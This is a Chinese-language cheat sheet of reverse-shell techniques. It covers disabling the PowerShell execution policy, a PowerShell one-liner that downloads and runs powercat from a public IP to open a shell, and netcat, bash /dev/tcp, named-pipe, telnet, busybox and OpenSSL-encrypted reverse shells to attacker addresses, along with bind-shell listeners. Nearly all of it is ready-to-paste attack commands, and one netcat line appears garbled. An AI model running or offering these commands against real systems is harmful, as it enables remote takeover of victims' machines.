一,windows反弹shell
执行powershell脚本需要修改powershell权限:
命令执行设置powershell权限:
powershell Set-ExecutionPolicy Unrestricted
四种权限:
1、Restricted: 默认设置,不允许执行任何脚本
2、Allsigned:只能运行经过证书验证的脚本
3、Unrestricted: 权限最高,可以执行任意脚本
4、RemoteSigned: 对本地脚本不进行限制;对来自网络的脚本必须验证其签名
查询当前权限: Get-ExecutionPolicy
修改为最高权限: Set-ExecutionPolicy Unrestricted
恢复最低权限: Set-ExecutionPolicy Restricted
powershell反弹shell
powershell IEX(New-Object System.Net.Webclient).DownloadString('http://150.158.155.208/powercat.ps1');powercat -c 150.158.155.208 -p 6666 -e cmd
nc反弹
nc64.exe -e cmd 150.158.155.208 12341
二,linux 反弹shell(目标机开启)
shell反弹
bash -i >& /dev/tcp/192.168.0.1/65535 0>&1
或
sh -i >& /dev/tcp/192.168.0.1/65535 0>&1
nc反弹
#!/bin/bash
nc -e /bin/bash 192.168.0.1 65535
#!/bin/bash
/bin/bash | nc 192.168.0.1 65535
#!/bin/bash
nc 192.168.0.1 65535 |/bin/bash
#!/bin/bash
rm -f /tmp/p;
mknod /tmp/p p && nc 192.168.0.1 65535 0/tmp/
#!/bin/bash
rm /tmp/f;
mkfifo /tmp/f;
cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.1 65535 >/tmp/f
telnet反弹
#!/bin/bash
telnet 192.168.0.1 65534 | /bin/bash | telnet 192.168.0.1 65535
#!/bin/bash
mknod backpipe p && telnet 192.168.0.1 65535 0<backpipe | /bin/bash 1>backpipe
busybox反弹shell
当存在硬链接时如将/bin/sh命令指向/bin/busybox,可以使用busybox进行反弹shell
lrwxrwxrwx 1 root root 12 Jan 30 2019 /bin/sh -> /bin/busybox
/bin/busybox nc 150.158.155.208 6666 -e /bin/sh
三,linux正向shell(攻击机开启监听)
靶机开启监听:
nc -lvp 666
nc -lvp 10000 -e /bin/bash
攻击机连接靶机:
nc64.exe 150.158.155.208 10000
四,SSL加密反弹shell:
1、vps上先生成key.pem和cert.pem文件,一路回车即可
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
2、然后使用openssl设置监听端口,这里要带上key.pem和cert.pem
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
3、在靶机上执行反弹shell命令即可
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 150.158.155.208:3333 > /tmp/s; rm /tmp/s